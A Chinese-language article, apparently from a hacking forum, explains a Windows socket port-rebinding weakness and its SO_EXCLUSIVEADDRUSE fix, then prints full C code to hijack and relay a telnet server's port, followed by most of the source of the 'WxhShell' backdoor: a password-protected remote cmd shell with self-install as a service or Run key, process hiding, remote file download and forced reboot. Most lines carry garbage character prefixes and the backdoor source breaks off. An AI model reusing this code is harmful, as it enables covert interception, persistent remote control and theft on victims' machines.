在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=4MTb_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
!h4T3sO :c~SH/qS saddr.sin_family = AF_INET;
TL2E|@k1] @>Yd6C saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y62f{ks_/ sJ|pR=g)! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>9!J?HA yf9"Rc~+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^T!Zz"/: ,_u7@Ix 这意味着什么?意味着可以进行如下的攻击:
##6\~!P .p!
DVQ"a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
YK)m6zW5 ;Y\LsmZ;F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"G
[Nb:,CR wHbkF#[:i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wx*?@f>u^ .qSDe+A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
M!'d _K9`o^g%PJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^AH[]sE_ gLX<>|)* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4HGTgS 04-_ K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HpEd$+Mz L]H'$~xx* #include
g8N"-j&@ #include
:oZ<[#p"* #include
6p4BsWPx #include
2.aCo, Kb; DWORD WINAPI ClientThread(LPVOID lpParam);
IFTNr2I int main()
20V~?xs~ {
= g{I`u WORD wVersionRequested;
%PYO9:n DWORD ret;
:s_>y_=g WSADATA wsaData;
t`z "=S BOOL val;
j**[[ SOCKADDR_IN saddr;
4C =W~6~ SOCKADDR_IN scaddr;
6^gp
/{ int err;
!^%3 SOCKET s;
FB[b]+t`D{ SOCKET sc;
QEs$9a5TE int caddsize;
rJ Jx8)M HANDLE mt;
#gQn3.PX+y DWORD tid;
ByY2KJ7 wVersionRequested = MAKEWORD( 2, 2 );
%3a-@!|1< err = WSAStartup( wVersionRequested, &wsaData );
>BbX: if ( err != 0 ) {
gS'{JZu2 printf("error!WSAStartup failed!\n");
9,'m,2%W return -1;
N1ipK9a }
J
_O5^=BP saddr.sin_family = AF_INET;
`[sFh%: RxMsP;be //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*)Qv;'U=rn Z6zV 9hn saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%XGm\p saddr.sin_port = htons(23);
'Tm1Mh0Fso if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b]]8Vs)' {
J#..xJ?XRD printf("error!socket failed!\n");
;\*3A22 # return -1;
J,?#O#j }
\EfX3ghPI val = TRUE;
!"F;wg$ //SO_REUSEADDR选项就是可以实现端口重绑定的
,/w*sE if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~(V\.hq {
G]>yk_#/\U printf("error!setsockopt failed!\n");
KrpIH6 return -1;
*&I>3;~%^} }
Ljd`)+`D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'0D$C},^|8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xG/Q%A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
J{ju3jo 4f\NtQ) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
W'@|ob {
M-^I! C ret=GetLastError();
bp?5GU&Uy printf("error!bind failed!\n");
^&?,L@fW return -1;
{]Zan'{PCO }
5.6tVr listen(s,2);
Vu5?;|^: while(1)
:oIBJ u%/ {
E@SFK=` caddsize = sizeof(scaddr);
=K`.$R //接受连接请求
>1sa*Wf sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
jo:Z if(sc!=INVALID_SOCKET)
W"Ip]LJ {
<K [y~9u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
63W;N7@ if(mt==NULL)
j*DPW)RkKX {
StI
N+S@Z printf("Thread Creat Failed!\n");
sC-o'13 break;
XGSFG~d }
072C!F }
IA` voO$ CloseHandle(mt);
Cb ;6yE)!Z }
AY/.vyS closesocket(s);
;R*-cm WSACleanup();
jaoZ}}V_$ return 0;
<<>+z5D+ }
aRMlE*yW DWORD WINAPI ClientThread(LPVOID lpParam)
~ n]5iGz {
h]oUY.Pf SOCKET ss = (SOCKET)lpParam;
E'LI0fr SOCKET sc;
9z#8K
zXg unsigned char buf[4096];
DU!T#H7 SOCKADDR_IN saddr;
'3l TI long num;
fUjo',<s DWORD val;
fB$a)~ DWORD ret;
!zE{`Ha~ //如果是隐藏端口应用的话,可以在此处加一些判断
Q VTL}AT2: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|o5eG>< saddr.sin_family = AF_INET;
[inlxJD saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>-MnB saddr.sin_port = htons(23);
N!K%aH~O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T)mQ+&| {
?J:w,,4m printf("error!socket failed!\n");
<[db)r~c return -1;
vywB{%p }
&O'W+4FAc val = 100;
s/"bH3Ob9v if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+dCDk* /m {
0/Q_%
: ret = GetLastError();
\jC) ;mk return -1;
=<n ]T; }
V+`kB3GV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D]@(LbMG4 {
b9j}QK ret = GetLastError();
'##?PQ*u return -1;
tRoSq;VrS }
At.&$ t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;73S;IPR {
2)=whnFS printf("error!socket connect failed!\n");
W> pe- closesocket(sc);
vvxxwZa=O closesocket(ss);
qd0G sr}j return -1;
/!H24[tnk1 }
y[ dBmTY while(1)
Orq/38:4G {
f+ r>ur}\) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Usf@kVQ //如果是嗅探内容的话,可以再此处进行内容分析和记录
{"wF;*U.V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ZG=]b% num = recv(ss,buf,4096,0);
x/s:/YN' if(num>0)
AIHH@z send(sc,buf,num,0);
[PIMG2"G else if(num==0)
i<ES/U\ break;
UPfE\KN+p# num = recv(sc,buf,4096,0);
M}|(:o3Yo if(num>0)
07.p
{X R send(ss,buf,num,0);
[edF'7La else if(num==0)
eHgr"f*7
break;
CF;Gy L1M }
|nQfgl=V closesocket(ss);
~-'2jb*8 closesocket(sc);
']nIa7 return 0 ;
TQn!MUj/^ }
oKn$g[,SJh r8m}B#W7 a OmG, +o ==========================================================
J*zzjtY( 1 Al
yJ!f"Y 下边附上一个代码,,WXhSHELL
f+:iz'b#U 0C<\m\|~k ==========================================================
85E$m'0O g}+|0FTV #include "stdafx.h"
XC3)#D#HGh o9xc$hX} #include <stdio.h>
\'y]m B~k #include <string.h>
7UBDd1 #include <windows.h>
)w].m #include <winsock2.h>
uc,>VzdB #include <winsvc.h>
;u2[Ww~k #include <urlmon.h>
LDg9@esi &E`Nu (e #pragma comment (lib, "Ws2_32.lib")
<f7 O3 > #pragma comment (lib, "urlmon.lib")
.BPd06y &kb~N- #define MAX_USER 100 // 最大客户端连接数
gvc@q`_] #define BUF_SOCK 200 // sock buffer
$oW=N #define KEY_BUFF 255 // 输入 buffer
*B&P[n 'dj3y/
k% #define REBOOT 0 // 重启
;2kQ)Bq" #define SHUTDOWN 1 // 关机
2VV>?s (XOz_K6c%K #define DEF_PORT 5000 // 监听端口
a?-J j\q 29:2Xu i #define REG_LEN 16 // 注册表键长度
phDIUhL$z #define SVC_LEN 80 // NT服务名长度
1L<TzQ ?c8~VQaQ // 从dll定义API
dC6>&@
VX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I!/EQO| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%E%=Za typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.w4|$.H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
z_'^=9m Qy:yz // wxhshell配置信息
s4Ja y!A struct WSCFG {
+Ug & int ws_port; // 监听端口
x;[)#>.' char ws_passstr[REG_LEN]; // 口令
:3M,]W] int ws_autoins; // 安装标记, 1=yes 0=no
|co#X8J char ws_regname[REG_LEN]; // 注册表键名
%/2
` u char ws_svcname[REG_LEN]; // 服务名
`*U@d%a char ws_svcdisp[SVC_LEN]; // 服务显示名
]{tWfv|Xg8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
:Ou~?q%X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6@|!m ' int ws_downexe; // 下载执行标记, 1=yes 0=no
91z=ou char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jZIT[HM char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cs2-jbRn 72|g zm };
_L8&.=4]i oN}\bK // default Wxhshell configuration
:awa struct WSCFG wscfg={DEF_PORT,
}e7/F[c.U "xuhuanlingzhe",
jO"/5x26 1,
E:rJi] "Wxhshell",
S[y'{; "Wxhshell",
}<G
ae5 "WxhShell Service",
(lwV(M "Wrsky Windows CmdShell Service",
`
,T. "Please Input Your Password: ",
b#7nt ?`7p 1,
(B` NnL$ "
http://www.wrsky.com/wxhshell.exe",
$U,]c "Wxhshell.exe"
jpi,BVTI-X };
JSg=9p$ nIH(2j // 消息定义模块
,U9j7E<4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6%EpF;T`
char *msg_ws_prompt="\n\r? for help\n\r#>";
4"PA7
e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ydD:6bBX char *msg_ws_ext="\n\rExit.";
]9@4P$I char *msg_ws_end="\n\rQuit.";
B)/&xQu char *msg_ws_boot="\n\rReboot...";
EW]DzL3 char *msg_ws_poff="\n\rShutdown...";
>0kL9_9{ char *msg_ws_down="\n\rSave to ";
<2*+Y|Lk2 23LG)or.JC char *msg_ws_err="\n\rErr!";
K;/f?3q char *msg_ws_ok="\n\rOK!";
BSS4}qyS 0uKm)t/ char ExeFile[MAX_PATH];
a/E(GQ,, int nUser = 0;
CV|Ae [ HANDLE handles[MAX_USER];
em'3 8L|( int OsIsNt;
.dzw5R& W[QgddR SERVICE_STATUS serviceStatus;
tQj=m_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
!o'a]8 h9Sf // 函数声明
>o"s1*
{ int Install(void);
xD7Y"%Pbx int Uninstall(void);
eI2041z int DownloadFile(char *sURL, SOCKET wsh);
P3bRv^ int Boot(int flag);
CEk[&39" void HideProc(void);
V13^SVM int GetOsVer(void);
Q]/g=Nn
^~ int Wxhshell(SOCKET wsl);
P,S!Z&! void TalkWithClient(void *cs);
"QfF]/: int CmdShell(SOCKET sock);
#5;4O{ int StartFromService(void);
gd3MP^O1 int StartWxhshell(LPSTR lpCmdLine);
5UL5C:3R9 `iuQ.I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3 }
$9./+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
#~*v*F~3 =]Y'xzJuu // 数据结构和表定义
}`whg8 fZ SERVICE_TABLE_ENTRY DispatchTable[] =
'o]}vyz; {
4xx?x/q {wscfg.ws_svcname, NTServiceMain},
6wiuNGZb {NULL, NULL}
M9V,;* };
bAY>o k="wEZ;Q // 自我安装
sC.cMZ e int Install(void)
W[!bF'-10 {
-}qay@cDt char svExeFile[MAX_PATH];
),;h HKEY key;
On4Vqbks strcpy(svExeFile,ExeFile);
09Oe-Bg /\jRr7 Cd // 如果是win9x系统,修改注册表设为自启动
-?T|1FA, if(!OsIsNt) {
l5e`m^GK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
IxG0TJ_
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C/"Wh=h6 RegCloseKey(key);
ORo +]9)Yv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O6-"q+H) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F8m@mh*8> RegCloseKey(key);
b4^a
zY return 0;
-J!k|GK#MX }
Iq;a!Lya- }
USf;}F:-C }
KG5B6Om5' else {
/4BYH?* %'F[(VB // 如果是NT以上系统,安装为系统服务
[:Odb?+ `F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wu0JXB%&^ if (schSCManager!=0)
&)Wm rF {
e]jzFm~ SC_HANDLE schService = CreateService
BGB.SN#q+ (
RV5;EM)~[ schSCManager,
P>6wr\9i[ wscfg.ws_svcname,
>m9ge`!9 wscfg.ws_svcdisp,
%]DJ-7 xE SERVICE_ALL_ACCESS,
UJX5}36 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5PHAd4=bJ SERVICE_AUTO_START,
Wm58[;%LTw SERVICE_ERROR_NORMAL,
vP<8,XG svExeFile,
\]/6>yT NULL,
!ImtnU} NULL,
\4q1<j NULL,
e3&.RrA NULL,
j"+R*H(# NULL
n]Jfd I );
D/zp_9B if (schService!=0)
=dC5q{ {
1K$8F ~%Z CloseServiceHandle(schService);
47/YDy% CloseServiceHandle(schSCManager);
`WU"*HqW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&_6B{Q strcat(svExeFile,wscfg.ws_svcname);
z 2V_nkI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hzk]kM/OC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
FJ&?My,=J RegCloseKey(key);
.!Q[kn0a return 0;
\h/aD1&g }
My>{;n=} }
W^nG\"T^ CloseServiceHandle(schSCManager);
my3W [3# }
} SA/,4/9 }
dJg72?"ka 0SLn0vD! return 1;
tO QY./I }
'r`-J4icX _q\w9gN // 自我卸载
Q_R&+@ju int Uninstall(void)
(OK;*ZH+T@ {
G0h7MO%x HKEY key;
i%_nH"h n47v5.Wn if(!OsIsNt) {
#`2*V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+l$BUX RegDeleteValue(key,wscfg.ws_regname);
\.dvRI' RegCloseKey(key);
6cOm 8# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;i&'va$ RegDeleteValue(key,wscfg.ws_regname);
3>sA_ RegCloseKey(key);
hI1}^; return 0;
|4FvPR[ }
hbdM}"&] }
bR5+({yH }
M>g\Y else {
t7DT5SrR "(d7:!% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-z4pI= if (schSCManager!=0)
)Wm:Ilq {
DbkKmv& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%,*{hhfu if (schService!=0)
2V#(1Hc! {
.),m7"u| if(DeleteService(schService)!=0) {
{o[*S%Z" CloseServiceHandle(schService);
D@>^_cTO24 CloseServiceHandle(schSCManager);
rt\4We,7 return 0;
h=~TgTv }
#}!Ge CloseServiceHandle(schService);
c`&<"Us }
ON=6w_ CloseServiceHandle(schSCManager);
ZjXpMx, }
3v%V\kO=F }
cA4xx^~ wGf SVA-q\ return 1;
_6 |lw&o07 }
}A%Sx!7~ *G#W],~0 // 从指定url下载文件
~O}LAzGb int DownloadFile(char *sURL, SOCKET wsh)
v [ 4J0 {
@nS+!t{ HRESULT hr;
+
>oA@z char seps[]= "/";
G? "6[w/p char *token;
0xM\+R~, char *file;
0"L_0 t: char myURL[MAX_PATH];
#}W^d^-5t5 char myFILE[MAX_PATH];
y++[:M auTApYS53 strcpy(myURL,sURL);
\Z^YaKj& token=strtok(myURL,seps);
Q_F8u!qrZ while(token!=NULL)
Q=%1@ ,x" {
Xo>P?^c4? file=token;
#yv_Eb02 token=strtok(NULL,seps);
tPHDnh^n] }
\]W*0t>s C<\|4ERp GetCurrentDirectory(MAX_PATH,myFILE);
G_~w0r# strcat(myFILE, "\\");
g3(fhfR'RN strcat(myFILE, file);
ayJKt03\O\ send(wsh,myFILE,strlen(myFILE),0);
T0ebW
w send(wsh,"...",3,0);
(P[:g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_s
Z9p4] if(hr==S_OK)
:YU_ \EV return 0;
Xj&fWuA else
--S2lN/:T return 1;
z5v)~+"1 V\"x#uB }
m]$!wp T^ ^o // 系统电源模块
~g+?]Lk} int Boot(int flag)
%klC&
_g~_ {
mh"&KX86W HANDLE hToken;
lmZSsx TOKEN_PRIVILEGES tkp;
Wej 8YF@ T,,,+gPx if(OsIsNt) {
S3u>a\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'8v^.gZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~JsTHE$F tkp.PrivilegeCount = 1;
Ax4nx!W, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'@h5j6:2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
YAqv: if(flag==REBOOT) {
}^;Tt-*k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%+U.zd$ return 0;
H\7Qf8s|{ }
3PLv;@!#j} else {
(8u.Xbdh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3eqnc),Z return 0;
oq4*m[ }
vcnUb$% }
k1HukGa else {
pzP~,cdf if(flag==REBOOT) {
iXt >!f* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
i:wTPR return 0;
NZSP*# !B }
lz?F ,]. else {
4
e1=b, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v_PhJKE return 0;
8o-*s+EY"& }
{1.t ZCMT }
iw <2|]>l :[oFe/1K!4 return 1;
s88lN=;
}
UW*[)y w] /AX1LYlr // win9x进程隐藏模块
_Kg:jal void HideProc(void)
+(*S@V$c {
;#G)([ A>8uLO G} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
445}Yw5;9 if ( hKernel != NULL )
=#||&1U$ {
Q<.847 ) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b/:&iG; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
x,a(O@ FreeLibrary(hKernel);
2B{~"< }
tY^ MP5* <J4|FOz!= return;
y-qbK0=X4 }
!fXw X3B `VT[YhO#} // 获取操作系统版本
e$M \HPc int GetOsVer(void)
ORhe?E] {
Mj2o>N2, OSVERSIONINFO winfo;
a,3}
o:f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
o;+$AU1f GetVersionEx(&winfo);
;ZMm6o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
s+;J`_M return 1;
^| L@f else
a%a_sR\) return 0;
_,Wb`P }
n$n)!XL/ !sA[A> // 客户端句柄模块
FMCX->}$ int Wxhshell(SOCKET wsl)
Gj[`r {
vs-%J6}G SOCKET wsh;
=l?F_ struct sockaddr_in client;
N6Mo| DWORD myID;
]5X=u(} #;59THdtPk while(nUser<MAX_USER)
<QoSq'g#,= {
#gzY _)E int nSize=sizeof(client);
[;3` Aw wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
jdsN ZV if(wsh==INVALID_SOCKET) return 1;
AV\6K;~ Ww&~ZZZ { handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8.4 1EKr2 if(handles[nUser]==0)
J0@<6~V6o closesocket(wsh);
d?G~k[C!a else
#?/&H;n_8S nUser++;
[EUp4%Z # }
fG2hCP+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
B2\R#&X. a[;TUc^I1F return 0;
bkfwsYZx }
=~M%zdIXv I^>m-M. // 关闭 socket
eYd6~T[9 void CloseIt(SOCKET wsh)
i`-,=RJ {
:td#zM closesocket(wsh);
w8$rt nUser--;
R4+Gmx1 ExitThread(0);
VPG+]>* }
v0762w $I40 hk // 客户端请求句柄
69#D,ME? void TalkWithClient(void *cs)
n\8;4]n {
0'T*l2Z`2 DK8eFyG^2 SOCKET wsh=(SOCKET)cs;
AnK-\4 char pwd[SVC_LEN];
5g9lO]WDI char cmd[KEY_BUFF];
W`HO Q char chr[1];
oG5:]/F int i,j;
q3a`Y)aVB tHlKo0S$0 while (nUser < MAX_USER) {
4 [2^#t[ R%)ZhG*
if(wscfg.ws_passstr) {
6[g~p< 8n} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
XRi/O)98o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X2>qx^jT //ZeroMemory(pwd,KEY_BUFF);
?;1^8 c0 i=0;
t?JY@hT* while(i<SVC_LEN) {
)c
vA}U.z rv>K0= t0 // 设置超时
)NG{iD{_] fd_set FdRead;
%Z|]"=;6 struct timeval TimeOut;
'BY{]{SL FD_ZERO(&FdRead);
X$:r FD_SET(wsh,&FdRead);
WVaIC $Y TimeOut.tv_sec=8;
_jkH}o ' TimeOut.tv_usec=0;
b'\a
4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/">A3bq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-:92<G\D H"hL+F ^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.yp"6S^b pwd
=chr[0]; |BrD:+
if(chr[0]==0xd || chr[0]==0xa) { d5?"GFy
pwd=0; uYW9kw>$
break; 99Jk<x
k
} 4j9
i++; uMW5F-~-+
} b"x[+&%i
q^nSYp#
// 如果是非法用户,关闭 socket 3fC|}<Wzt
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xi5/Wc6
} C~\/FrO?
@R+bR<}]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Kh@P*7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \@]/ks=K
9$0-UUCk
while(1) { c-S_{~~
joaf0
ZeroMemory(cmd,KEY_BUFF); yl63VX8w}
XAN{uD^3\%
// 自动支持客户端 telnet标准 7/*a
j=0; n7UZ&ab
while(j<KEY_BUFF) { 2I!STP{ !l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `? ayc/TK
cmd[j]=chr[0]; W)rE_tw,|
if(chr[0]==0xa || chr[0]==0xd) { z0ULB?*"
cmd[j]=0; u+7B-l=u*
break; YLc 2:9
} ,/V'(\>
j++; EA )28]Y.
} _H#l&bL@C
)u{)"m`&[J
// 下载文件 "m^whHj
if(strstr(cmd,"http://")) { [kc%+j<g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z?C;z7eT
if(DownloadFile(cmd,wsh)) p)M\q fZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~z''kH=e
else ~r`~I"ZK7^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f@roRn8p?
} XxT7YCi
else { Bsm>^zZ`YU
$)OUOv
switch(cmd[0]) { mi~BdBv
79J@`
// 帮助 0(9]m)e
case '?': { BV=L.*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LM_/:
break; Pw4j?pv2
} %,9iY&;U"
// 安装 *|c*/7]<
case 'i': { mPR(4Ol.
if(Install()) t
>89(
k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/+0L[R
else 7h?yAgDv~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p{:r4!*L
break; U].u) g$
} j[/'`1tOe
// 卸载 \-c8/=
case 'r': { $mA+4ISK
if(Uninstall())
<,~
=o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iR-MuDM
else q9n0bw^N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 51oZw%os=
break; Q
!5P
} Ed/@&52z0
// 显示 wxhshell 所在路径 {b@rQCre7
case 'p': { amI$0
char svExeFile[MAX_PATH]; &lYKi3}x
strcpy(svExeFile,"\n\r"); Zp|LCE"
strcat(svExeFile,ExeFile); "i$uV3d
send(wsh,svExeFile,strlen(svExeFile),0); }vOUf#^k
break; _q([k_4h
} cK.T=7T
// 重启 md[FtcY\
case 'b': { CL(,Q8yG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EXz5Rue
LV
if(Boot(REBOOT)) I>b-w;cC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +NRn>1]
else { W%]sI n
closesocket(wsh); 6p/gvpZ
ExitThread(0); 7lpd$Y
} x>Ah4ad
break; \K 01F
} g
j`"|
// 关机 n3{m
"h3
case 'd': { fM]McZ9)D
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2aUz.k8o
if(Boot(SHUTDOWN)) xh>/bU!>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H[ %Fo
else { WG
9f>kE
closesocket(wsh); to Ei4u)m
ExitThread(0); (^g?/i1@d
} ]?F05!$ *
break; 1QRE-ndc
} +P6#7.p`Z
// 获取shell R<mLG $
case 's': { WfVkewuPo
CmdShell(wsh); 5Ah-aDBj
closesocket(wsh); h
Ia{s)
ExitThread(0); =K2Dxu_:
break; uPe4Rr
} uK]@!gz
// 退出 =5&)^
case 'x': { \S;%
"0!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wxZnuCO%H8
CloseIt(wsh); |0w'+HaE~N
break; G#'3bxI{f+
} A"Rzn1/
// 离开 %5RYa<oP
case 'q': { @M4~,O6-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ j@Q2>&?
closesocket(wsh); Kq`Luf
WSACleanup(); |bDN~c:/
exit(1); K G~](4JE(
break; O#A1)~
} L{2\NJ"+u
} !?tWWU%P)
} /#$bb4
!U]V?Jpi"
// 提示信息 CTtF=\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 49
3ik
} u0$7k9mE
} sXTt)J
]^gD@].
return; }M/w 0U0o
} w0~iGr}P
o<-%)#e
// shell模块句柄 'xb|5_D
int CmdShell(SOCKET sock) VO(Ck\i}
{ iyOd&|.
STARTUPINFO si; I(Nsm3L
ZeroMemory(&si,sizeof(si)); lGPC)Hu{`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S^)r,cC
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <E@7CG.=
PROCESS_INFORMATION ProcessInfo; GMU<$x8o
char cmdline[]="cmd"; *cp|lW!ag
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #2DH_P
return 0; z/fRd6|[
} N(&FATZUW
N l_!%k:
// 自身启动模式 qx{.`AaZW
int StartFromService(void) &7Ixf?e!K
{ 8<P $E!
typedef struct 2x e_Q70II
{ kVU|k-?2
DWORD ExitStatus; v}zo vEi
